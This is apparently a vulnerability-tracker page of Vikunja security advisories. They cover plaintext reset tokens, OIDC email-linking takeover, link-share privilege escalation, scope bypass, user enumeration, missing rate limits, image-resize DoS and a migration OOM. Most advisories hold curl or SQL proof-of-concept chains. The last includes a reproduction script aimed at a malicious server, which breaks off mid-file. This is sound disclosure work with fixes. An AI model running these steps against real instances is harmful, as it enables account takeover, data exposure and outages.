Where
-Infinity
0

Vendor Risk Score

See how vikunja compares to other vendors in security performance

View Risk Score →
Severity
8.1
SQL Injection
AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Summary

Vikunja stores password-reset, email-confirmation, and account-deletion tokens in the usertokens table in plaintext. If an attacker gains read access to the database through a backup leak, misconfigured storage, or SQL-level exposure, they can immediately use pending tokens to take over user accounts without knowing passwords.

Details

pkg/user/token.go — genToken() stores the raw random string directly: go func genToken(u User, kind TokenKind) (Token, error) { tokenStr, err := utils.CryptoRandomString(tokenSize) ... return &Token{ UserID: u.ID, Kind: kind, Token: tokenStr, // stored as-is, no hashing }, nil }

Lookup also uses plaintext equality: go func getToken(s xorm.Session, token string, kind TokenKind) (t Token, err error) { has, err := s.Where("kind = ? AND token = ?", kind, token).Get(t) }

Affected token types: - TokenPasswordReset (pkg/user/userpasswordreset.go:120) - TokenEmailConfirm (pkg/user/usercreate.go:101, pkg/user/updateemail.go:88) - TokenAccountDeletion (pkg/user/delete.go:102)

Note: CalDAV tokens correctly use generateHashedToken with bcrypt — the same protection is absent for the above types.

PoC

sql -- Attacker with DB read dumps all pending password-reset tokens: SELECT u.email, t.token FROM usertokens t JOIN users u ON u.id = t.userid WHERE t.kind = 1;

-- Then takes over any account: curl -X POST https://vikunja.example.com/api/v1/user/password/reset \ -H 'Content-Type: application/json' \ -d '{"token": "<plaintextfromdb>", "newpassword": "AttackerPass1!"}'

Impact

Any read access to the database (leaked backup, cloud misconfiguration, secondary SQLi) allows an attacker to take over every user account with a pending reset token within the 24-hour token lifetime. Full account takeover including admin accounts.

Fix

Replace genToken with generateHashedToken for TokenPasswordReset, TokenEmailConfirm, and TokenAccountDeletion. Update the corresponding lookup to use bcrypt comparison (bcrypt.CompareHashAndPassword) rather than direct SQL equality, mirroring the existing CalDAV token implementation in the same file.

If possible, please apply for a CVE number when posting.

1 / 2
Source: GitHub
First published (updated )
Severity
7.5
CVSS:4.0/AV:L/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary

With the per-provider OIDC emailfallback option enabled, Vikunja links an SSO login to a pre-existing local (username+password) account using only the email claim — no emailverified (or Microsoft xmsedov) check and no password check, on the unauthenticated callback. An attacker who can make the configured issuer emit a token bearing a victim's email logs in as that victim with a full session and no victim interaction (the nOAuth / Grafana CVE-2023-3128 class). The 2.3.0 fix for GHSA-8jvc-mcx6-r4cg added a TOTP gate, not an emailverified gate, so users without TOTP remain exposed.

Details

References are pkg/modules/auth/openid/openid.go at HEAD. Identity is first resolved on the immutable (issuer, subject) pair (openid.go:428). On a subject miss with emailfallback on, fallbackSearchUsers adds an email-only lookup against local accounts:

go // openid.go:413 searches = append(searches, &user.User{Issuer: user.IssuerLocal, Email: cl.Email})

getUser resolves this via s.Get(), which ANDs non-zero fields -> WHERE issuer='local' AND email=?. Local users always have Issuer="local" (usercreate.go:38), so the lookup matches any local account by email alone; getOrCreateUser returns it and the caller mints a session — the password is never read. The claims struct has no emailverified field (openid.go:80) and getClaims never consults one; a repo-wide grep for emailverified/xmsedov returns nothing. The code already warns about this at openid.go:388 ("Discouraged for untrusted providers where someone can set email without verification") — but enforces nothing.

Impact

Unauthenticated takeover of any existing local account (read/write/delete its projects, tasks, attachments, shares), bypassing the password. Scope notes: only issuer='local' accounts are matched (not pure-SSO users); the attacker's sub is not bound to the victim record, but the attack is repeatable; TOTP users are protected by the 2.3.0 enforceTOTPIfRequired gate (openid.go:250), non-TOTP users are not.

Preconditions

1. Admin enabled emailfallback: true (defaults false — a default install is unaffected). 2. The configured issuer lets the attacker assert the victim's unverified email: a self-service IdP (Keycloak/Authentik/Auth0/Dex with editable email), a mixed federation, or a multi-tenant Entra /common app. iss/aud are pinned, but the attacker controls email, not the issuer. 3. The victim has a local account.

Not reachable against a single-tenant IdP that verifies email and disallows self-set addresses.

Recommended Fix

Add emailverified to the claims struct and require it true on the email-fallback branch before linking to a local account; reject when absent/false. For Entra also require xmsedov and pin multi-tenant configs to an allowed-tenant list. Fail closed on an email collision not backed by a verified email from a trusted single-tenant issuer rather than silently logging the caller in.

1 / 2
Source: GitHub
First published (updated )
Severity
8.7
EPSS
0.38%
Infoleak
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Summary

A user who has only read permission on a project can call the single link-share read endpoint and receive the share's hash field — the secret credential that the anonymous POST /shares/{share}/auth endpoint exchanges for a link-share JWT carrying the share's permission (read / read-write / admin). A read-only member can therefore mint a write- or admin-level token for the project and perform writes they are not entitled to, while their own user token is correctly refused. This is the remaining variant of the link-share hash disclosure class: GHSA-8hp8-9fhr-pfm9 fixed the list endpoint (ReadAll now requires project admin) but the single-read endpoint's gate was never aligned. Verified on Vikunja 2.5.0; the weak gate has existed since the endpoint, so earlier versions are likely affected too.

Details

Affected endpoints (both verified with a complete chain):

- v1: GET /api/v1/projects/{project}/shares/{share} - v2: GET /api/v2/projects/{project}/shares/{share}

Permission gate: LinkSharing.CanRead (pkg/models/linksharingpermissions.go) delegates to project.CanRead(s, a) — i.e. any user with read access to the project passes. The response serializes the hash field (pkg/models/linksharing.go, field tag json:"hash"), which is the share's bearer credential. The share password field is correctly cleared before returning, but the hash is not restricted.

Inconsistent with the sibling list endpoint GET /projects/{project}/shares (LinkSharing.ReadAll, pkg/models/linksharing.go:243-256), which requires project.IsAdmin — the protection level the project chose when the class was fixed for the list endpoint in 2.3.0 (GHSA-8hp8). The v1 and v2 APIs share the same model-level gate (the v2 handler.DoReadOne wrappers call the same CanRead), so both surfaces are affected.

Impact chain: hash -> POST /api/v1/shares/{hash}/auth (unauthenticated by design) -> link-share JWT at the share's permission level -> full API access at that level for that project.

Mitigating factors: the attacker must already be a member of the project at read level; password-protected shares (sharingtype=2) still require the password at the auth step; share IDs are small sequential integers and enumerable by members.

PoC

Steps below use two accounts: the owner (token $OWNER) and an attacker who has been granted read-only access to the project (token $READER). All requests were executed against a local Vikunja 2.5.0 instance.

1. Owner creates a private project and a read-write link share (permission=1):

curl -X PUT "$BASE/api/v1/projects" -H "Authorization: Bearer $OWNER" \ -H 'Content-Type: application/json' -d '{"title":"poc"}' -> {"id":123,...}

curl -X PUT "$BASE/api/v1/projects/123/shares" -H "Authorization: Bearer $OWNER" \ -H 'Content-Type: application/json' -d '{"name":"poc","permission":1}' -> {"id":7,"hash":"<SECRETHASH>",...}

2. Owner adds the attacker as a read-only member (permission=0):

curl -X PUT "$BASE/api/v1/projects/123/users" -H "Authorization: Bearer $OWNER" \ -H 'Content-Type: application/json' -d '{"username":"attacker","permission":0}'

3. Attacker reads the single share — the weak gate — and receives the hash (this is the disclosure; the list endpoint would correctly return 403 here):

curl "$BASE/api/v1/projects/123/shares/7" -H "Authorization: Bearer $READER" -> 200 {"id":7,"hash":"<SECRETHASH>","permission":1,...} v2 twin behaves identically: curl "$BASE/api/v2/projects/123/shares/7" -H "Authorization: Bearer $READER" -> 200 {"hash":"<SECRETHASH>",...}

4. Attacker exchanges the hash for a link-share JWT (no authentication required):

curl -X POST "$BASE/api/v1/shares/<SECRETHASH>/auth" \ -H 'Content-Type: application/json' -d '{}' -> 200 {"token":"<LINKJWT>",...}

5. Negative control — the attacker's own user token cannot write to the project:

curl -X PUT "$BASE/api/v1/projects/123/tasks" -H "Authorization: Bearer $READER" \ -H 'Content-Type: application/json' -d '{"title":"direct"}' -> 403 Forbidden

6. Escalation proof — the link-share JWT writes successfully:

curl -X PUT "$BASE/api/v1/projects/123/tasks" -H "Authorization: Bearer <LINKJWT>" \ -H 'Content-Type: application/json' -d '{"title":"escalated"}' -> 201 Created

Observed result: steps 3, 4 and 6 all succeed (200 / 200 / 201) while step 5 is refused with 403 — the read-only member has escalated to write access. If the project has an admin-level share (permission=2), the same chain yields project-admin capabilities (member management is still refused for link principals, but project settings, shares of the project, and all write operations become available).

Impact

Broken access control / privilege escalation within shared projects (CWE-862, CWE-639: the link-share hash is a bearer capability disclosed to a lesser-privileged member; CWE-200 for the information exposure). Any read-level member of a project that has a link share can escalate to that share's permission level: write members' tasks/comments can be created and modified; an admin-level share additionally grants project settings and share management for the project. Confidentiality is also affected insofar as the hash itself is the project's shared secret. Suggested fix: require project.IsAdmin in LinkSharing.CanRead (aligning with ReadAll), or omit the hash field from responses to non-admin members.

1 / 2
Source: GitHub
First published (updated )
Severity
5.3
EPSS
0.21%
SQL Injection
AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N

Summary

The task-position endpoint authorizes only the task side of the write: TaskPosition.CanUpdate delegates to Task.CanUpdate (write access to the task's own project) and the request body's projectviewid is never validated to belong to the task's project, nor is any access to that view required. Any authenticated user with a single writable task of their own can persist (taskid, projectviewid, position) rows into any other tenant's project view (view IDs are small sequential integers and enumerable). Low position values (below MinPositionSpacing, 0.01) enter the recalculation branch, but RecalculateTaskPositions aborts on its own project read-access check before recalculating and the whole transaction rolls back, so no cross-tenant recalculation actually executes — only the plain row insert (position ≥ 0.01) persists. This is the same root-cause pattern as GHSA-569v-q83c-3j3g (kanban bucket relocation via projectviewid mass-assignment, fixed with a dual-side check for buckets in 2.4.0) surviving in the sibling position endpoint. Verified on Vikunja 2.5.0.

Details

Affected endpoints (both verified):

- v1: POST /api/v1/tasks/{id}/position - v2: PUT /api/v2/tasks/{id}/position

Root cause in pkg/models/taskposition.go:

- CanUpdate (lines 61-64) checks only Task.CanUpdate — i.e. the caller's write access to the task's own project. - updateTaskPosition (lines 174-232) upserts (taskid, projectviewid, position) directly; there is no check that the view belongs to the task's project and no access check on the view's project. - ProjectViewID is body-bindable (json:"projectviewid", no readOnly/param restriction, line 42).

Contrast with the fixed sibling: the bucket-move endpoint (POST /projects/{project}/views/{view}/buckets/{bucket}/tasks, pkg/models/kanbantaskbucket.go:53-68) validates both the bucket and the task after the GHSA-5pg6/GHSA-569v family fixes — the position endpoint was never given the equivalent view-side check.

Observed behavior (two independent verification runs): an attacker with zero access to the victim project receives 200 {"taskid": ..., "projectviewid": <victim view>, "position": ...} on both v1 and v2, and the row is persisted (verified directly in the taskpositions table: rows for the victim view went 0 to 1). Positioning the victim's own task is correctly refused with 403, isolating the missing view-side check. The victim's listings do not surface the foreign task (no confidentiality impact demonstrated), and a low-position (< 0.01) injection enters the recalculation branch but RecalculateTaskPositions returns 403 (getRelevantProjectsFromCollection → CanRead on the victim project) before any recalculation runs, rolling the whole request back — so the low-position variant persists nothing and never rewrites the victim's ordering.

PoC

Steps use the owner of the victim project (token $OWNER) and an attacker with only their own project (token $ATTACKER). All requests were executed against a local Vikunja 2.5.0 instance.

1. Owner creates a private project (default views included) and lists its views to obtain a victim view ID:

curl -X PUT "$BASE/api/v1/projects" -H "Authorization: Bearer $OWNER" \ -H 'Content-Type: application/json' -d '{"title":"victim"}' -> {"id":200,...}

curl "$BASE/api/v1/projects/200/views" -H "Authorization: Bearer $OWNER" -> [{"id":771,"viewkind":"kanban",...}, ...] # remember VIEW=771

2. Attacker creates their own project and a task in it:

curl -X PUT "$BASE/api/v1/projects" -H "Authorization: Bearer $ATTACKER" \ -H 'Content-Type: application/json' -d '{"title":"attacker"}' -> {"id":201,...}

curl -X PUT "$BASE/api/v1/projects/201/tasks" -H "Authorization: Bearer $ATTACKER" \ -H 'Content-Type: application/json' -d '{"title":"evil"}' -> {"id":105,...}

3. Baseline — attacker positions their task in their own view (succeeds, expected):

curl -X POST "$BASE/api/v1/tasks/105/position" -H "Authorization: Bearer $ATTACKER" \ -H 'Content-Type: application/json' -d '{"projectviewid": <OWNVIEW>, "position": 100}' -> 200

4. Mutation — attacker writes their task's position into the victim's view (no access to it whatsoever):

curl -X POST "$BASE/api/v1/tasks/105/position" -H "Authorization: Bearer $ATTACKER" \ -H 'Content-Type: application/json' -d '{"projectviewid": 771, "position": 100}' -> 200 {"taskid":105,"projectviewid":771,"position":100}

curl -X PUT "$BASE/api/v2/tasks/105/position" -H "Authorization: Bearer $ATTACKER" \ -H 'Content-Type: application/json' -d '{"projectviewid": 771, "position": 101}' -> 200 (v2 twin behaves identically)

5. Control — attacker positioning the victim's own task is correctly refused (the task-level gate works; only the view side is missing):

curl -X POST "$BASE/api/v1/tasks/<VICTIMTASK>/position" -H "Authorization: Bearer $ATTACKER" \ -H 'Content-Type: application/json' -d '{"projectviewid": 771, "position": 1}' -> 403 Forbidden

6. Persistence proof — the cross-tenant row exists in the database:

docker exec <db> psql -U vikunja -d vikunja -t -A -c \ "SELECT taskid, position FROM taskpositions WHERE projectviewid=771 AND taskid=105;" -> 105|100 (row for the attacker's task inside the victim's view namespace)

Observed result: steps 4 and 6 succeed — a taskpositions row (attackertask, victimview) is created and persisted; step 5 is refused with 403. Note: "position": 1 is above MinPositionSpacing (0.01), so it never enters the recalculation branch — it is a plain upsert. A position < 0.01 does enter the branch but is refused with 403 and rolled back (see Impact).

Impact

Impact summary: a genuine broken-object-level-authorization defect (CWE-639) with no demonstrated confidentiality, integrity, or availability impact. The injected rows are invisible to the victim (view listings filter by project), order-preserving (any position collision is respaced between the same neighbours), and self-healing (any legitimate recalculation of the view deletes and rebuilds all its position rows). No read access, no privilege gain, no data destruction, and no usable DoS. Rated low — the fix is defense-in-depth, and its main value is preventing this wrong-object authorization from becoming a real cross-tenant leak should any future read path join taskpositions without re-checking task-project access.

Broken object-level authorization on the write side (CWE-639, CWE-863: the authorization decision uses one resource dimension — the task — while the write targets another — the view). Any authenticated user holding a single writable task can persist rows into any other tenant's view state instance-wide (view IDs sequential and enumerable). The recalculation/lock path is not usable cross-tenant: a low position (< 0.01) enters the branch but RecalculateTaskPositions fails its own project read-access check and rolls back before recalculating (on MySQL/PostgreSQL a FOR UPDATE lock on the view row is taken one statement earlier in the same transaction, but released immediately on that rollback; SQLite takes no lock), so there is no meaningful availability angle. No confidentiality breach was demonstrated (victim listings filter by project), and the pollution is recoverable. Suggested fix: in CanUpdate or before the upsert, load the view by tp.ProjectViewID and require view.ProjectID == task.ProjectID (and/or caller access to the view's project), mirroring the bucket-side fix for GHSA-569v.

1 / 2
Source: GitHub
First published (updated )
Severity
5.3
EPSS
0.27%
AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N

Summary

API token permission checks only match the HTTP method and route path. The expand query parameter on task read endpoints embeds data from other permission groups (task comments, reactions, time entry counts) without checking whether the token holds those scopes. A token scoped only to tasks read permissions can therefore read task comments and reactions it was explicitly not granted.

Details

models.CanDoAPIRoute (pkg/models/apiroutes.go, ~line 440) authorises API tokens purely by comparing method and c.Path() against the routes stored for each granted permission group. The query string is never consulted.

The task read endpoints accept expand:

- GET /api/v1/tasks/:task, GET /api/v1/tasks (pkg/models/tasks.go ReadOne/ReadAll, pkg/models/taskcollection.go) - GET /api/v2/tasks/:id, GET /api/v2/tasks, GET /api/v2/projects/:project/tasks (pkg/routes/api/v2/tasks.go, taskcollection.go)

Accepted values include comments, commentcount, reactions, timeentriescount. addMoreInfoToTasks (pkg/models/tasks.go, ~line 683) loads and embeds that data. At that layer only a web.Auth (the plain owner user, resolved by auth.GetAuthFromClaims) is available, so the token's scopes cannot be enforced there either.

Result: the taskscomments, reactions, and timeentries permission groups are advisory for any data reachable through a task expansion.

Impact

A holder of an API token scoped to tasks: [readone] or tasks: [readall] (or projectsviewstasks: [readall]) can read the full bodies of task comments, all reactions, and time entry counts on every task the token owner can access, despite GET /api/v1|v2/tasks/:task/comments and the reactions endpoints correctly returning 401 for the same token.

The leak is limited to data the token owner can already see, and is read-only. The realistic victim is a user who grants a narrowly scoped token to a third-party integration expecting comments to stay private.

Proof of Concept

Against the test fixtures (pkg/db/fixtures/apitokens.yml, token 1 has {"tasks":["readall","update"]}, plaintext tk2eef46f40ebab3304919ab2e7e39993f75f29d2e):

GET /api/v2/tasks/1/comments Authorization: Bearer tk2eef46f40ebab3304919ab2e7e39993f75f29d2e -> 401 {"code":11,"message":"missing, malformed, expired or otherwise invalid token provided"}

GET /api/v2/tasks?expand=comments&filter=id%3D1 Authorization: Bearer tk2eef46f40ebab3304919ab2e7e39993f75f29d2e -> 200, response items[0].comments contains the full comment objects

Same behaviour with expand=reactions, and on the v1 endpoints GET /api/v1/tasks?expand=comments / GET /api/v1/tasks/1?expand=comments. Any user-created token with only tasks read permissions reproduces this.

Recommended Fix

Enforce expansions in the single existing choke point, models.CanDoAPIRoute: after the method/path match succeeds, read c.QueryParams()["expand"] and require the token to hold the owning group's read permission for each value, e.g.

- comments, commentcount -> taskscomments.readall - reactions -> reactions.readall - timeentriescount -> timeentries.readall

(subtasks, buckets, isunread are task-level data and need nothing extra.) Doing this in the middleware covers both v1 and v2 without handler or model changes. Add a table-driven test alongside pkg/webtests/apitokenmethodmatchingtest.go asserting a tasks-only token gets 401 with expand=comments and 200 once taskscomments.readall is added.

1 / 2
Source: GitHub
First published (updated )
Severity
5.3
EPSS
0.24%
Infoleak
AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N

Summary A link-share token, the credential you hand out to let someone view a shared project, can call the v2 user-search endpoints, which it was never meant to reach. The v1 versions of the same endpoints correctly reject link-share tokens; the v2 versions don't. As a result, anyone with a share link can list every member of the shared project (and its parent projects), and can test whether any username exists anywhere on the instance.

Details Two endpoints are affected:

GET /api/v2/projects/{id}/users/search only checks project.CanRead, which a link share satisfies on its own project. With no parameter it returns the full user list, walking up the parent-project chain. GET /api/v2/users?q=<name> is a global search. It needs a query term, but any term works as an existence oracle: a hit confirms the username exists somewhere on the instance and returns the display name.

Emails are correctly stripped from these responses, so the exposure is limited to identities (usernames and display names), but that's still an instance-wide directory that a share-link holder should never see.

The fix is to resolve the caller with GetFromAuth in both handlers, so link-share tokens are rejected the same way v1 already rejects them.

PoC 1. Get a link-share token. With any account that owns a project, create a read-only link share and note the hash, then exchange it: POST /api/v1/shares/<hash>/auth {"password":""} The response contains a token, a link-share JWT.

2. Confirm v1 blocks it (the fixed behavior). With that token: GET /api/v1/projects/<id>/projectusers Authorization: Bearer <linksharetoken> → rejected: the token isn't a user token.

3. Now the vulnerable v2 endpoints, same token: GET /api/v2/projects/<id>/users/search Authorization: Bearer <linksharetoken> → 200, full list of everyone with access to the project and its parents (id, username, name). GET /api/v2/users?q=admin Authorization: Bearer <linksharetoken> → 200, a non-empty result confirms the username exists on the instance. Iterate q over a wordlist to enumerate accounts.

Impact Information disclosure. A link share is a low-trust credential meant to expose one project's contents; here it also exposes the membership of that project's parents and lets the holder probe for any username across the whole instance. Since share links are often forwarded or semi-public, this hands an untrusted recipient a map of internal users and a username-validation oracle useful for phishing and credential stuffing. No account is required beyond possessing a share link. Emails are not exposed.

1 / 2
Source: GitHub
First published (updated )
Severity
8.7
EPSS
0.61%
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Summary The /dav, /.well-known, and /feeds groups are registered on the root Echo instance with only BasicAuth and no rate limiter. CalDAV BasicAuth accepts the plain account password, so password guessing over /dav is unbounded and never returns 429, while /api/v1/login is throttled from the tenth attempt. The only anti-brute-force control on the instance is therefore bypassable.

Details pkg/routes/routes.go (~lines 238-249) registers /.well-known, /dav, and /feeds with middleware.BasicAuth(...) and nothing else; registerCalDavRoutes adds no limiter. pkg/routes/caldav/auth.go (~lines 88-93) falls through to user.CheckUserCredentials with the plain account password when no CalDAV token matches. In contrast, /register, /login, etc. are wrapped by unauthRateLimit() — an unconditional 10/min/IP pre-auth floor that ignores ratelimit.enabled (default false).

TOTP-enabled accounts and bot users are correctly refused, so this targets password-only accounts.

PoC (verified at runtime against v2.5.0) POST /api/v1/login x25 wrong passwords -> 429 from attempt 2 (throttled) PROPFIND /dav/principals/{user}/ x60 wrong passwords -> 401 x60, 429 x0 GET /feeds/notifications.atom x30 wrong passwords -> 401 x30, 429 x0 PROPFIND /dav/... with correct password -> 207 (proves the 401s are real auth failures)

Impact The anti-brute-force floor guarding /login is entirely absent on /dav, /feeds, and /.well-known, giving an unbounded credential-guessing surface against account passwords. (bcrypt caps throughput to a few guesses/second, but nothing caps the number of attempts.) Reported as an authentication-control bypass, not a DoS.

Fix Apply the unconditional pre-auth rate-limit floor to the /dav, /.well-known, and /feeds groups.

1 / 2
Source: GitHub
First published (updated )
Severity
8.7
EPSS
0.50%
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Summary registerAPIRoutesV2 never applies the unconditional pre-auth rate-limit floor (unauthRateLimit()) to the v2 public routes — it passes that limiter only to /api/v2/ws — and otherwise relies on setupRateLimit, which registers nothing when ratelimit.enabled is false (the default). So on a stock install every v2 pre-auth endpoint (login, register, password-reset token, oauth token) is unthrottled, while its v1 twin is throttled.

Details unauthRateLimit() -> perMinuteIPRateLimit("noauth", RateLimitNoAuthRoutesLimit) (pkg/routes/ratelimit.go, ~lines 100-118) is an unconditional per-IP floor (default 10/60s) that deliberately ignores RateLimitEnabled, which is why v1's pre-auth routes are throttled even with the global limiter off. v1 applies it: ur := a.Group(""); ur.Use(unauthRateLimit()) (pkg/routes/routes.go ~line 459). registerAPIRoutesV2 (~lines 405-431) passes the unauthRateLimit() instance only to /api/v2/ws; its auth routes get only setupRateLimit(a, ...), which is config-gated and registers nothing by default.

PoC (verified at runtime against v2.5.0) POST /api/v1/login x25 -> 429 from attempt 5 POST /api/v2/login x25 -> 403 x25, 429 x0 POST /api/v1/user/password/token -> 429 (throttled) POST /api/v2/user/password/token x20 -> 404 x20, 429 x0 Request bodies are byte-identical across versions (shared user.Login / user.PasswordTokenRequest). Both v2 endpoints reach their handlers (403/404, not route-404), so the comparison is valid.

Impact The pre-auth rate-limit floor — the instance's only default anti-brute-force / anti-abuse control — is absent on all v2 public endpoints. Enables unbounded credential guessing, account-enumeration probing, and password-reset flooding on a default install. Reported as an authentication-control bypass, not a DoS.

Fix Apply unauthRateLimit() to the v2 public route group, matching v1.

1 / 2
Source: GitHub
First published (updated )
Severity
7.1
EPSS
0.34%
AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Summary The 50-megapixel decode guard exists only on the task-attachment preview path. Avatar and project-background uploads decode uploaded images with no pixel cap. Worse, the avatar resize fixes the output height at 1024 and derives the width from the aspect ratio, so a tiny extreme-aspect-ratio PNG expands to an enormous output image — an input-side pixel cap would not catch it.

Details The only maxPixels check (50MP) is in TaskAttachment.GetPreview (pkg/models/taskattachment.go ~lines 332-338). No such check guards: - avatar upload: pkg/modules/avatar/upload/upload.go (~lines 82, 137, 141) - project background: pkg/modules/background/handler/background.go (~lines 174, 269, 289)

imaging.Resize(img, 0, 1024, imaging.Lanczos) (upload.go ~line 141) fixes height=1024 and derives width from the aspect ratio: a 20000x10 input yields a ~2,048,000 x 1024 output (~2.1 billion pixels), so a few-hundred-byte file drives huge CPU and memory.

PoC (verified at runtime against v2.5.0) PUT /api/v1/user/settings/avatar/upload avatar=8000x8000 PNG (64MP, 192KB) -> 200 (accepted; exceeds the 50MP attachment cap) PUT /api/v1/user/settings/avatar/upload avatar=20000x10 PNG (681 bytes) -> 200 after ~19.6s of server processing Contrast (guard present): uploading the 64MP PNG as a task attachment and requesting its preview returns in ~1ms without decoding — GetPreview rejects it via maxPixels and falls back to the raw file.

Impact A small crafted upload drives disproportionate CPU and memory on the avatar and background paths. Repeated or concurrent requests can exhaust server resources. Amplification comes from both the missing input pixel cap and the height-fixed resize, so an input-side cap alone is insufficient.

Fix Apply a pixel-dimension cap (as on the attachment path) to the avatar and background decode paths, and bound the resize output dimensions (cap width as well as height).

1 / 2
Source: GitHub
First published (updated )
Severity
7.1
EPSS
0.37%
SQL Injection, SSRF
AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Planka migration retains an unbounded aggregate of attacker-served attachments and can OOM the API

Summary

The always-registered Planka migration lets any ordinary user select a Planka server. Although Vikunja caps each JSON response, pagination loop, and attachment independently, it has no aggregate job budget. The conversion stage downloads every advertised non-link attachment and keeps every byte slice live until the complete hierarchy is inserted. A public attacker server can therefore drive memory beyond any finite service allocation. The final Docker run preserved default SSRF policy and OOM-killed the healthy API after five individually valid 20 MiB attachment responses.

Impact and affected scope

- Type: Resource Exhaustion Dos - Affected component: POST /api/v2/migration/planka/migrate; Asynchronous migration.requested worker for the Planka migrator - Preconditions: A low-privilege Vikunja user supplies an attacker-operated public Planka URL and token. That server controls project/board/card/attachment counts and streams each attachment body at or below Vikunja's normal per-file limit. - Verified revision: d66ef3d1a39c6f7289593059a1a34afd1d059260 on 28 August 2026 - Affected release range: > 2.5.0 for the tested post-2.5.0 main branch; no released build was independently reproduced

A low-privilege remote user operating a public HTTP server can terminate the shared Vikunja process and make the API unavailable with one migration submission.

Technical details

Planka conversion downloads each non-link attachment into a bytes.Buffer and assigns buf.Bytes() to the in-memory task attachment. Every allocation remains reachable in the hierarchy until all remote data has been fetched and InsertFromStructure begins. Per-response, per-page, and per-file limits do not cap the sum.

Attack path: Authenticated migration request -> synchronous attacker-server credential probe -> asynchronous Migrate with no request deadline -> fetch attacker project/board metadata -> loop attacker attachment list -> individually size-limited downloads -> retain all FileContent slices -> process/container OOM and API termination

Relevant code:

- pkg/routes/api/v2/migrationcredentials.go:35 - pkg/routes/api/v2/migrationshared.go:73 - pkg/routes/api/v2/migrationshared.go:95 - pkg/modules/migration/planka/client.go:37 - pkg/modules/migration/planka/client.go:356 - pkg/modules/migration/planka/fetch.go:29 - pkg/modules/migration/planka/fetch.go:32 - pkg/modules/migration/planka/convert.go:275 - pkg/modules/migration/planka/convert.go:280 - pkg/modules/migration/planka/convert.go:293 - pkg/modules/migration/planka/planka.go:86 - pkg/modules/migration/planka/planka.go:100

Reproduction

Run this only against an authorized disposable environment. The complete verified minimum file set is reproduced below. It starts the isolated target, runs the security-relevant trigger, verifies an objective target/application signal, and exercises the available negative or sibling control.

Create reproduction/Dockerfile:

text FROM golang:1.27-bookworm AS builder

WORKDIR /src COPY --from=target . . RUN mkdir -p frontend/dist \ && printf '<!doctype html><title>PoC</title>' > frontend/dist/index.html \ && go build -o /out/vikunja .

FROM golang:1.27-bookworm

RUN apt-get update \ && apt-get install -y --no-install-recommends ca-certificates curl python3 \ && rm -rf /var/lib/apt/lists/

WORKDIR /app COPY --from=builder /out/vikunja /app/vikunja COPY . /app RUN chmod +x /app/verify.sh

Create reproduction/verify.sh:

sh #!/usr/bin/env bash set -euo pipefail

test -d /target-repo test "$(git -C /target-repo rev-parse HEAD)" = "d66ef3d1a39c6f7289593059a1a34afd1d059260" test -z "${VIKUNJAOUTGOINGREQUESTSALLOWNONROUTABLEIPS:-}"

mkdir -p /work/files /work/logs export VIKUNJADATABASETYPE=sqlite export VIKUNJADATABASEPATH=/work/vikunja.db export VIKUNJAFILESBASEPATH=/work/files export VIKUNJALOGPATH=/work/logs export VIKUNJASERVICEROOTPATH=/work export VIKUNJASERVICEINTERFACE=0.0.0.0:3456 export VIKUNJASERVICEPUBLICURL=http://127.0.0.1:3456/ export VIKUNJASERVICEFRONTENDURL=http://127.0.0.1:3456/

python3 /app/maliciousplanka.py > /work/planka.log 2>&1 & PLANKAPID=$! /app/vikunja > /work/vikunja.log 2>&1 & VIKUNJAPID=$! cleanup() { if kill -0 "${VIKUNJAPID}" 2>/dev/null; then kill "${VIKUNJAPID}" 2>/dev/null || true wait "${VIKUNJAPID}" 2>/dev/null || true fi if kill -0 "${PLANKAPID}" 2>/dev/null; then kill "${PLANKAPID}" 2>/dev/null || true wait "${PLANKAPID}" 2>/dev/null || true fi } trap cleanup EXIT

for in $(seq 1 90); do if curl -fsS http://127.0.0.1:3456/api/v2/health > /dev/null 2>&1 \ && curl -fsS http://93.184.216.34:18080/api/users/me > /dev/null 2>&1; then break fi sleep 1 done curl -fsS http://127.0.0.1:3456/api/v2/health > /dev/null curl -fsS http://93.184.216.34:18080/api/users/me > /dev/null

REGISTERCODE="$(curl -sS -o /work/register.json -w '%{httpcode}' \ -H 'Content-Type: application/json' \ -d '{"username":"PoC","email":"PoC@example.invalid","password":"PoC-Test-Password-123!"}' \ http://127.0.0.1:3456/api/v2/register)" test "${REGISTERCODE}" = "201" curl -fsS \ -H 'Content-Type: application/json' \ -d '{"username":"PoC","password":"PoC-Test-Password-123!","longtoken":false}' \ http://127.0.0.1:3456/api/v2/login > /work/login.json TOKEN="$(python3 -c 'import json; print(json.load(open("/work/login.json"))["token"])')" test -n "${TOKEN}"

BASELINERSSKIB="$(awk '/VmRSS/{print $2}' "/proc/${VIKUNJAPID}/status")" OOMBEFORE="$(awk '$1 == "oomkill" {print $2}' /sys/fs/cgroup/memory.events)" MIGRATECODE="$(curl -sS -o /work/migrate.json -w '%{httpcode}' \ -H "Authorization: Bearer ${TOKEN}" \ -H 'Content-Type: application/json' \ -d '{"url":"http://93.184.216.34:18080","token":"attacker-key"}' \ http://127.0.0.1:3456/api/v2/migration/planka/migrate)" test "${MIGRATECODE}" = "200"

for in $(seq 1 90); do if ! kill -0 "${VIKUNJAPID}" 2>/dev/null; then break fi sleep 1 done if kill -0 "${VIKUNJAPID}" 2>/dev/null; then echo "[PoC] target survived unexpectedly" >&2 tail -n 80 /work/vikunja.log >&2 tail -n 80 /work/planka.log >&2 exit 1 fi

set +e wait "${VIKUNJAPID}" TARGETEXIT=$? set -e OOMAFTER="$(awk '$1 == "oomkill" {print $2}' /sys/fs/cgroup/memory.events)" ATTACHMENTSSERVED="$(cat /work/attachment-count 2>/dev/null || echo 0)"

